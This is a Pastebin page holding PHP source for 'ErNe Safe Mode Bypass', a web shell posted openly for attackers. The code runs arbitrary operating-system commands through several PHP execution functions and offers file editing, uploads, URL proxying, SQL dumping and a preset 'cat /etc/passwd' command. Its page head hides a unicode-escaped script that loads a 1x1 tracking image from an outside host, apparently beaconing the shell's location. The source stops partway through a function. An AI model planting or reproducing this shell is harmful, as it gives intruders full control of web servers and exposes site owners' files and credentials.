Advertisement
blackcyberrootshell

[ + ] ErneBypass Shell [ + ]

Mar 3rd, 2015
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 44.00 KB | None | 0 0
  1. <html><head><title>Ernealizm - Edited By KingDefacer</title><script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script><body bgcolor="#000000"><table Width='100%' height='10%' bgcolor='#000000' border='1'>
  2. <tr><td><center><font size="4" color="#FFFFFF"><span style="background-color: #000000">ErNe Safe Mode Bypass - Edited By KingDefacer</span>
  3. </font></center></td></tr></table>
  4. <style type="text/css">
  5. body,td {
  6.     font-family: "Tahoma";
  7.     font-size: "12px";
  8.     line-height: "150%";
  9. }
  10. .smlfont {
  11.     font-family: "Tahoma";
  12.     font-size: "11px";
  13. }
  14. .INPUT {
  15.     FONT-SIZE: "12px";
  16.     COLOR: "#000000";
  17.     BACKGROUND-COLOR: "#FFFFFF";
  18.     height: "18px";
  19.     border: 1px solid #666666 none;
  20.     padding-left: "2px"
  21. }
  22. .redfont {
  23.     COLOR: "#D0D0D0";
  24. }
  25. a:link,a:visited,a:active {
  26.     color: "#9C9C9C";
  27.     text-decoration: underline;
  28. }
  29. a:hover {
  30.     color: "#FFFFFF";
  31.     text-decoration: none;
  32. }
  33. .top {BACKGROUND-COLOR: "#D0D0D0"}
  34. .firstalt {BACKGROUND-COLOR: "#000000"}
  35. .secondalt {BACKGROUND-COLOR: "#000000"}
  36. </style>
  37. <SCRIPT language=JavaScript>
  38. function CheckAll(form) {
  39.     for (var i=0;i<form.elements.length;i++) {
  40.         var e = form.elements[i];
  41.         if (e.name != 'chkall')
  42.         e.checked = form.chkall.checked;
  43.     }
  44. }
  45. function really(d,f,m,t) {
  46.     if (confirm(m)) {
  47.         if (t == 1) {
  48.             window.location.href='?dir='+d+'&deldir='+f;
  49.         } else {
  50.             window.location.href='?dir='+d+'&delfile='+f;
  51.         }
  52.     }
  53. }
  54. </SCRIPT></head><body><center>
  55. <hr width="775" noshade><table width="775" border="0" cellpadding="0">
  56. <?PHP
  57.  
  58. error_reporting(7);
  59. ob_start();
  60. $mtime = explode(' ', microtime());
  61. $starttime = $mtime[1] + $mtime[0];
  62. $onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
  63. if ($onoff != 1) {
  64.     @extract($_POST, EXTR_SKIP);
  65.     @extract($_GET, EXTR_SKIP);
  66. }
  67. $mohajer =  getcwd();
  68. $self = $_SERVER['PHP_SELF'];
  69. $dis_func = get_cfg_var("disable_functions");
  70.  
  71. ///////////////////////////////
  72.                              //
  73. $mysql_use = "no"; //"yes"   //
  74. $mhost = "localhost";        //
  75. $muser = "shellci_user";       //
  76. $mpass = "shellci_pass";               //
  77. $mdb = "shellci_db";         //
  78.                              //
  79. ///////////////////////////////
  80.  
  81.  
  82. if (get_magic_quotes_gpc()) {
  83.     $_GET = stripslashes_array($_GET);
  84.     $_POST = stripslashes_array($_POST);
  85. }
  86.  
  87.  
  88.  
  89. if (empty($_POST['phpinfo'] )) {
  90.     }else{
  91.     echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()";
  92.     exit;
  93. }
  94.  
  95.  
  96. if (isset($_POST['url'])) {
  97.     $proxycontents = @file_get_contents($_POST['url']);
  98.     echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b>?»?????? URL ?”?????­???§?°?¬</b></p></center></body>";
  99.     exit;
  100. }
  101.  
  102. if  (empty($_POST['erne'] ) ) {
  103.     }ELSE{
  104.     $action = '?action=erne';
  105.     echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td><center><font size='6' color='#D0D0D0'>
  106. Powered By Erne, KingDefacer, Ekin0x, Mohajer22, Ja ( Turkey, Suudi Iraq )<br><br>";
  107.  
  108.     echo "</font></center></td></tr></table> ";
  109.  
  110.     exit;
  111.     }
  112. if  (empty($_POST['command'] ) ) {
  113.     }ELSE{
  114.     if (substr(PHP_OS, 0, 3) == 'WIN') {
  115.         $program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
  116.         $prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
  117.  
  118.         echo "</form>\n";
  119.     }
  120. $tb = new FORMS;
  121.  
  122. $tb->tableheader();
  123. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
  124. $tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value='  dir  '  id=input><INPUT type='submit'name='erne' value='ernealizm'  id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
  125. $tb->tablefooter();
  126. $tb->tableheader();
  127. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>command [ system , shell_exec , passthru , Wscript.Shell , exec , popen ]</b></td></tr></table>','center','top');
  128. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
  129.  
  130. $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen');
  131. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit')));
  132.  
  133.     echo"<tr class='secondalt'><td align='center'><textarea name='textarea' cols='100' rows='25' readonly>";
  134.  
  135.         if  ($_POST['command'] )  {
  136.  
  137.         if ($execfunc=="system") {
  138.             system($_POST['command']);
  139.         } elseif ($execfunc=="passthru") {
  140.             passthru($_POST['command']);
  141.         } elseif ($execfunc=="exec") {
  142.             $result = exec($_POST['command']);
  143.             echo $result;
  144.         } elseif ($execfunc=="shell_exec") {
  145.             $result=shell_exec($_POST['command']);
  146.             echo $result;
  147.         } elseif ($execfunc=="popen") {
  148.             $pp = popen($_POST['command'], 'r');
  149.             $read = fread($pp, 2096);
  150.             echo $read;
  151.             pclose($pp);
  152.         } elseif ($execfunc=="wscript") {
  153.             $wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");
  154.             $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
  155.             $stdout = $exec->StdOut();
  156.             $stroutput = $stdout->ReadAll();
  157.             echo $stroutput;
  158.         } else {
  159.             system($_POST['command']);
  160.         }
  161.  
  162.     }
  163.  
  164. echo"</textarea></td></tr></form></table>";
  165.         exit;
  166. }//end shell
  167.  
  168. if ($_POST['editfile']){
  169. $fp = fopen($_POST['editfile'], "r");
  170. $filearr = file($_POST['editfile']);
  171.  
  172. foreach ($filearr as $string){
  173.  
  174. $content = $content . $string;
  175. }
  176.  
  177. echo "<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUEST_URI' method='POST'><textarea name=content cols=122 rows=20>";echo htmlentities($content); echo"</textarea>";
  178. echo"<input type='hidden' name='dir' value='" . getcwd() ."'>
  179. <input type='hidden' name='savefile' value='{$_POST['editfile']}'><br>
  180. <input type='submit' name='submit' value='Save'></form></center>";
  181.  
  182. fclose($fp);
  183. }
  184.  
  185.  
  186. if($_POST['savefile']){
  187.  
  188. $fp = fopen($_POST['savefile'], "w");
  189. $content = stripslashes($content);
  190. fwrite($fp, $content);
  191. fclose($fp);
  192. echo "<center><div id=logostrip>Successfully saved!</div></center>";
  193.  
  194. }
  195. if ($doupfile) {
  196.     echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "?™???‘?«?–?™?„–?¦!" : "?™???‘?«???§?°?¬!";
  197. }
  198.  
  199.  
  200. elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
  201.     if (!empty($newdirectory)) {
  202.         $mkdirs="$dir/$newdirectory";
  203.         if (file_exists("$mkdirs")) {
  204.             echo "can't make dir";
  205.         } else {
  206.             echo (@mkdir("$mkdirs",0777)) ? "ok" : "";
  207.             @chmod("$mkdirs",0777);
  208.         }
  209.     }
  210. }
  211.  
  212. /////////
  213. $pathname=str_replace('\\','/',dirname(__FILE__));
  214.  
  215. ////////
  216. if (!isset($dir) or empty($dir)) {
  217.     $dir = ".";
  218.     $nowpath = getPath($pathname, $dir);
  219. } else {
  220.     $dir=$_post['dir'];
  221.     $nowpath = getPath($pathname, $dir);
  222. }
  223.  
  224. ///////
  225. $dir_writeable = (dir_writeable($nowpath)) ? "m" : "mm";
  226. $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
  227. $reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"mohajer22</a>" : "";
  228.  
  229. $tb = new FORMS;
  230.  
  231. $tb->tableheader();
  232. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td><b>'.$mohajer.'</b></td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
  233. $tb->tdbody("<FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'><INPUT type='submit' name='Rifrish' value='  dir  '  id=input><INPUT type='submit'name='erne' value='erne '  id=input><INPUT type='submit' name='phpinfo' value='PHPinfo' id=input><INPUT type='submit' name='shell' value='command shill' id=input></form>");
  234. $tb->tablefooter();
  235. $tb->tableheader();
  236. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Dosya Duzenle Yada Olustur & Dosya Yukle & Dizin Olustur</b></td></tr></table>','center','top');
  237. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
  238. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dosya Duzenle weya Olustur:</FONT>'.$tb->makehidden('dir',  getcwd()  ).' '.$tb->makeinput('editfile').' '.$tb->makeinput('Edit','Duzenle','','submit')));
  239.  
  240.  
  241. $tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'<FONT COLOR=#9C9C9C>Dosya Yukle:</FONT>'.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','Ekle','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
  242.  
  243. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Dizin Olustur:</FONT> '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','yenidizin','','submit')));
  244. $execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen');
  245. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>cmd:</FONT>'.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' '.$tb->makeinput('command').' '.$tb->makeinput('Run','command','','submit')));
  246.  
  247. $tb->tdbody ("</td></tr></table>");
  248. if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
  249.  
  250.  
  251.     $tb->tableheader();
  252. echo"<tr bgcolor='#D0D0D0'><td align='center' nowrap width='27%'><b>DIR</b></td><td align='center' nowrap width='16%'><b>First data</b></td><td align='center' nowrap width='16%'><b>Last data</b></td><td align='center' nowrap width='11%'><b>Size</b></td><td align='center' nowrap width='6%'><b>Perm</b></td></tr>";
  253.  
  254. $dirs=@opendir($dir);
  255. $dir_i = '0';
  256. while ($file=@readdir($dirs)) {
  257.     $filepath="$dir/$file";
  258.     $a=@is_dir($filepath);
  259.     if($a=="1"){
  260.         if($file!=".." && $file!=".")   {
  261.             $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
  262.             $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
  263.             $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
  264.             echo "<tr class=".getrowbg().">\n";
  265.             echo "  <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
  266.             echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n";
  267.             echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n";
  268.             echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">&lt;dir&gt;</span></td>\n";
  269.             echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$dirperm</span></td>\n";
  270.             echo "</tr>\n";
  271.             $dir_i++;
  272.         } else {
  273.             if($file=="..") {
  274.                 echo "<tr class=".getrowbg().">\n";
  275.                 echo "  <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\">Up dir</a></td>\n";
  276.                 echo "</tr>\n";
  277.             }
  278.         }
  279.     }
  280. }// while
  281. @closedir($dirs);
  282.  
  283. echo"<tr bgcolor='#cccccc'><td colspan='6' height='5'></td></tr><FORM  method='POST'>";
  284.  
  285. $dirs=@opendir($dir);
  286. $file_i = '0';
  287. while ($file=@readdir($dirs)) {
  288.     $filepath="$dir/$file";
  289.     $a=@is_dir($filepath);
  290.     if($a=="0"){
  291.         $size=@filesize($filepath);
  292.         $size=$size/1024 ;
  293.         $size= @number_format($size, 3);
  294.         if (@filectime($filepath) == @filemtime($filepath)) {
  295.             $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
  296.             $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
  297.         } else {
  298.             $ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
  299.             $mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
  300.         }
  301.         @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
  302.         echo "<tr class=".getrowbg().">\n";
  303.         echo "  <td style=\"padding-left: 5px;\">";
  304.         echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
  305.         echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
  306.         if  ($file == 'config.php') {
  307.  
  308.         echo "<a href=\"$filepath\" target=\"_blank\"><font color='yellow'>$file<STRONG></STRONG></a></td>\n";
  309.         }
  310.         echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$ctime</span></td>\n";
  311.         echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$mtime</span></td>\n";
  312.         echo "  <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
  313.         echo "  <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redfont\">$fileperm</span></td>\n";
  314.         echo "</tr>\n";
  315.         $file_i++;
  316.  
  317.  
  318.     }
  319. }// while
  320. @closedir($dirs);
  321.  
  322. echo "</FORM>\n";
  323. echo "</table>\n";
  324. }// end dir
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.     function debuginfo() {
  333.         global $starttime;
  334.         $mtime = explode(' ', microtime());
  335.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  336.         echo "Processed in $totaltime second(s)";
  337.     }
  338.  
  339.  
  340.     function stripslashes_array(&$array) {
  341.         while(list($key,$var) = each($array)) {
  342.             if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
  343.                 if (is_string($var)) {
  344.                     $array[$key] = stripslashes($var);
  345.                 }
  346.                 if (is_array($var))  {
  347.                     $array[$key] = stripslashes_array($var);
  348.                 }
  349.             }
  350.         }
  351.         return $array;
  352.     }
  353.  
  354.  
  355.     function deltree($deldir) {
  356.         $mydir=@dir($deldir);
  357.         while($file=$mydir->read()) {
  358.             if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
  359.                 @chmod("$deldir/$file",0777);
  360.                 deltree("$deldir/$file");
  361.             }
  362.             if (is_file("$deldir/$file")) {
  363.                 @chmod("$deldir/$file",0777);
  364.                 @unlink("$deldir/$file");
  365.             }
  366.         }
  367.         $mydir->close();
  368.         @chmod("$deldir",0777);
  369.         return (@rmdir($deldir)) ? 1 : 0;
  370.     }
  371.  
  372.  
  373.     function dir_writeable($dir) {
  374.         if (!is_dir($dir)) {
  375.             @mkdir($dir, 0777);
  376.         }
  377.         if(is_dir($dir)) {
  378.             if ($fp = @fopen("$dir/test.txt", 'w')) {
  379.                 @fclose($fp);
  380.                 @unlink("$dir/test.txt");
  381.                 $writeable = 1;
  382.             } else {
  383.                 $writeable = 0;
  384.             }
  385.         }
  386.         return $writeable;
  387.     }
  388.  
  389.  
  390.     function getrowbg() {
  391.         global $bgcounter;
  392.         if ($bgcounter++%2==0) {
  393.             return "firstalt";
  394.         } else {
  395.             return "secondalt";
  396.         }
  397.     }
  398.  
  399.  
  400.     function getPath($mainpath, $relativepath) {
  401.         global $dir;
  402.         $mainpath_info           = explode('/', $mainpath);
  403.         $relativepath_info       = explode('/', $relativepath);
  404.         $relativepath_info_count = count($relativepath_info);
  405.         for ($i=0; $i<$relativepath_info_count; $i++) {
  406.             if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
  407.             if ($relativepath_info[$i] == '..') {
  408.                 $mainpath_info_count = count($mainpath_info);
  409.                 unset($mainpath_info[$mainpath_info_count-1]);
  410.                 continue;
  411.             }
  412.             $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
  413.         }
  414.         return implode('/', $mainpath_info);
  415.     }
  416.  
  417.  
  418.     function getphpcfg($varname) {
  419.         switch($result = get_cfg_var($varname)) {
  420.             case 0:
  421.             return "No";
  422.             break;
  423.             case 1:
  424.             return "Yes";
  425.             break;
  426.             default:
  427.             return $result;
  428.             break;
  429.         }
  430.     }
  431.  
  432.  
  433.     function getfun($funName) {
  434.         return (false !== function_exists($funName)) ? "Yes" : "No";
  435.     }
  436.  
  437.  
  438.     class PHPZip{
  439.     var $out='';
  440.         function PHPZip($dir)   {
  441.             if (@function_exists('gzcompress')) {
  442.                 $curdir = getcwd();
  443.                 if (is_array($dir)) $filelist = $dir;
  444.                 else{
  445.                     $filelist=$this -> GetFileList($dir);//???”?????‘? ?±??
  446.                     foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  447.                 }
  448.                 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  449.                 else chdir($curdir);
  450.                 if (count($filelist)>0){
  451.                     foreach($filelist as $filename){
  452.                         if (is_file($filename)){
  453.                             $fd = fopen ($filename, "r");
  454.                             $content = @fread ($fd, filesize ($filename));
  455.                             fclose ($fd);
  456.                             if (is_array($dir)) $filename = basename($filename);
  457.                             $this -> addFile($content, $filename);
  458.                         }
  459.                     }
  460.                     $this->out = $this -> file();
  461.                     chdir($curdir);
  462.                 }
  463.                 return 1;
  464.             }
  465.             else return 0;
  466.         }
  467.  
  468.  
  469.         function GetFileList($dir){
  470.             static $a;
  471.             if (is_dir($dir)) {
  472.                 if ($dh = opendir($dir)) {
  473.                     while (($file = readdir($dh)) !== false) {
  474.                         if($file!='.' && $file!='..'){
  475.                             $f=$dir .'/'. $file;
  476.                             if(is_dir($f)) $this->GetFileList($f);
  477.                             $a[]=$f;
  478.                         }
  479.                     }
  480.                     closedir($dh);
  481.                 }
  482.             }
  483.             return $a;
  484.         }
  485.  
  486.         var $datasec      = array();
  487.         var $ctrl_dir     = array();
  488.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  489.         var $old_offset   = 0;
  490.  
  491.         function unix2DosTime($unixtime = 0) {
  492.             $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  493.             if ($timearray['year'] < 1980) {
  494.                 $timearray['year']    = 1980;
  495.                 $timearray['mon']     = 1;
  496.                 $timearray['mday']    = 1;
  497.                 $timearray['hours']   = 0;
  498.                 $timearray['minutes'] = 0;
  499.                 $timearray['seconds'] = 0;
  500.             } // end if
  501.             return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  502.                     ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  503.         }
  504.  
  505.         function addFile($data, $name, $time = 0) {
  506.             $name     = str_replace('\\', '/', $name);
  507.  
  508.             $dtime    = dechex($this->unix2DosTime($time));
  509.             $hexdtime = '\x' . $dtime[6] . $dtime[7]
  510.                       . '\x' . $dtime[4] . $dtime[5]
  511.                       . '\x' . $dtime[2] . $dtime[3]
  512.                       . '\x' . $dtime[0] . $dtime[1];
  513.             eval('$hexdtime = "' . $hexdtime . '";');
  514.             $fr   = "\x50\x4b\x03\x04";
  515.             $fr   .= "\x14\x00";
  516.             $fr   .= "\x00\x00";
  517.             $fr   .= "\x08\x00";
  518.             $fr   .= $hexdtime;
  519.  
  520.             $unc_len = strlen($data);
  521.             $crc     = crc32($data);
  522.             $zdata   = gzcompress($data);
  523.             $c_len   = strlen($zdata);
  524.             $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  525.             $fr      .= pack('V', $crc);
  526.             $fr      .= pack('V', $c_len);
  527.             $fr      .= pack('V', $unc_len);
  528.             $fr      .= pack('v', strlen($name));
  529.             $fr      .= pack('v', 0);
  530.             $fr      .= $name;
  531.  
  532.             $fr .= $zdata;
  533.  
  534.             $fr .= pack('V', $crc);
  535.             $fr .= pack('V', $c_len);
  536.             $fr .= pack('V', $unc_len);
  537.  
  538.             $this -> datasec[] = $fr;
  539.             $new_offset        = strlen(implode('', $this->datasec));
  540.  
  541.             $cdrec = "\x50\x4b\x01\x02";
  542.             $cdrec .= "\x00\x00";
  543.             $cdrec .= "\x14\x00";
  544.             $cdrec .= "\x00\x00";
  545.             $cdrec .= "\x08\x00";
  546.             $cdrec .= $hexdtime;
  547.             $cdrec .= pack('V', $crc);
  548.             $cdrec .= pack('V', $c_len);
  549.             $cdrec .= pack('V', $unc_len);
  550.             $cdrec .= pack('v', strlen($name) );
  551.             $cdrec .= pack('v', 0 );
  552.             $cdrec .= pack('v', 0 );
  553.             $cdrec .= pack('v', 0 );
  554.             $cdrec .= pack('v', 0 );
  555.             $cdrec .= pack('V', 32 );
  556.             $cdrec .= pack('V', $this -> old_offset );
  557.             $this -> old_offset = $new_offset;
  558.             $cdrec .= $name;
  559.  
  560.             $this -> ctrl_dir[] = $cdrec;
  561.         }
  562.  
  563.         function file() {
  564.             $data    = implode('', $this -> datasec);
  565.             $ctrldir = implode('', $this -> ctrl_dir);
  566.             return
  567.                 $data .
  568.                 $ctrldir .
  569.                 $this -> eof_ctrl_dir .
  570.                 pack('v', sizeof($this -> ctrl_dir)) .
  571.                 pack('v', sizeof($this -> ctrl_dir)) .
  572.                 pack('V', strlen($ctrldir)) .
  573.                 pack('V', strlen($data)) .
  574.                 "\x00\x00";
  575.         }
  576.     }
  577.  
  578.     function sqldumptable($table, $fp=0) {
  579.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
  580.         $tabledump .= "CREATE TABLE $table (\n";
  581.  
  582.         $firstfield=1;
  583.  
  584.         $fields = mysql_query("SHOW FIELDS FROM $table");
  585.         while ($field = mysql_fetch_array($fields)) {
  586.             if (!$firstfield) {
  587.                 $tabledump .= ",\n";
  588.             } else {
  589.                 $firstfield=0;
  590.             }
  591.             $tabledump .= "   $field[Field] $field[Type]";
  592.             if (!empty($field["Default"])) {
  593.                 $tabledump .= " DEFAULT '$field[Default]'";
  594.             }
  595.             if ($field['Null'] != "YES") {
  596.                 $tabledump .= " NOT NULL";
  597.             }
  598.             if ($field['Extra'] != "") {
  599.                 $tabledump .= " $field[Extra]";
  600.             }
  601.         }
  602.         mysql_free_result($fields);
  603.  
  604.         $keys = mysql_query("SHOW KEYS FROM $table");
  605.         while ($key = mysql_fetch_array($keys)) {
  606.             $kname=$key['Key_name'];
  607.             if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
  608.                 $kname="UNIQUE|$kname";
  609.             }
  610.             if(!is_array($index[$kname])) {
  611.                 $index[$kname] = array();
  612.             }
  613.             $index[$kname][] = $key['Column_name'];
  614.         }
  615.         mysql_free_result($keys);
  616.  
  617.         while(list($kname, $columns) = @each($index)) {
  618.             $tabledump .= ",\n";
  619.             $colnames=implode($columns,",");
  620.  
  621.             if ($kname == "PRIMARY") {
  622.                 $tabledump .= "   PRIMARY KEY ($colnames)";
  623.             } else {
  624.                 if (substr($kname,0,6) == "UNIQUE") {
  625.                     $kname=substr($kname,7);
  626.                 }
  627.                 $tabledump .= "   KEY $kname ($colnames)";
  628.             }
  629.         }
  630.  
  631.         $tabledump .= "\n);\n\n";
  632.         if ($fp) {
  633.             fwrite($fp,$tabledump);
  634.         } else {
  635.             echo $tabledump;
  636.         }
  637.  
  638.         $rows = mysql_query("SELECT * FROM $table");
  639.         $numfields = mysql_num_fields($rows);
  640.         while ($row = mysql_fetch_array($rows)) {
  641.             $tabledump = "INSERT INTO $table VALUES(";
  642.  
  643.             $fieldcounter=-1;
  644.             $firstfield=1;
  645.             while (++$fieldcounter<$numfields) {
  646.                 if (!$firstfield) {
  647.                     $tabledump.=", ";
  648.                 } else {
  649.                     $firstfield=0;
  650.                 }
  651.  
  652.                 if (!isset($row[$fieldcounter])) {
  653.                     $tabledump .= "NULL";
  654.                 } else {
  655.                     $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  656.                 }
  657.             }
  658.  
  659.             $tabledump .= ");\n";
  660.  
  661.             if ($fp) {
  662.                 fwrite($fp,$tabledump);
  663.             } else {
  664.                 echo $tabledump;
  665.             }
  666.         }
  667.         mysql_free_result($rows);
  668.     }
  669.  
  670.     class FORMS {
  671.         function tableheader() {
  672.             echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
  673.         }
  674.  
  675.         function headerform($arg=array()) {
  676.             global $dir;
  677.             if ($arg[enctype]){
  678.                 $enctype="enctype=\"$arg[enctype]\"";
  679.             } else {
  680.                 $enctype="";
  681.             }
  682.             if (!isset($arg[method])) {
  683.                 $arg[method] = "POST";
  684.             }
  685.             if (!isset($arg[action])) {
  686.                 $arg[action] = '';
  687.             }
  688.             echo "  <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
  689.             echo "  <tr>\n";
  690.             echo "    <td>".$arg[content]."</td>\n";
  691.             echo "  </tr>\n";
  692.             echo "  </form>\n";
  693.         }
  694.  
  695.         function tdheader($title) {
  696.             global $dir;
  697.             echo "  <tr class=\"firstalt\">\n";
  698.             echo "  <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">?·mohajer</a>]</b></td>\n";
  699.             echo "  </tr>\n";
  700.         }
  701.  
  702.         function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
  703.             if ($bgcolor=='2') {
  704.                 $css="secondalt";
  705.             } elseif ($bgcolor=='1') {
  706.                 $css="firstalt";
  707.             } else {
  708.                 $css=$bgcolor;
  709.             }
  710.             $height = empty($height) ? "" : " height=".$height;
  711.             $colspan = empty($colspan) ? "" : " colspan=".$colspan;
  712.             echo "  <tr class=\"".$css."\">\n";
  713.             echo "  <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
  714.             echo "  </tr>\n";
  715.         }
  716.  
  717.         function tablefooter() {
  718.             echo "</table>\n";
  719.         }
  720.  
  721.         function formheader($action='',$title,$target='') {
  722.             global $dir;
  723.             $target = empty($target) ? "" : " target=\"".$target."\"";
  724.             echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
  725.             echo "  <tr class=\"firstalt\">\n";
  726.             echo "  <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">?·?µ?»??</a>]</b></td>\n";
  727.             echo "  </tr>\n";
  728.         }
  729.  
  730.         function makehidden($name,$value=''){
  731.             echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
  732.         }
  733.  
  734.         function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
  735.             $css = ($css == 'input') ? " class=\"input\"" : "";
  736.             $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
  737.             return $input;
  738.         }
  739.         function makeid($name,$value='',$extra='',$type='select',$size='30',$css='input'){
  740.             $css = ($css == 'input') ? " class=\"input\"" : "";
  741.             $input = "<select name=plugin><option>cat /etc/passwd</option></select>";
  742.             return $input;
  743.         }
  744.          function makeimp($name,$value='',$extra='',$type='select',$size='30',$css='input'){
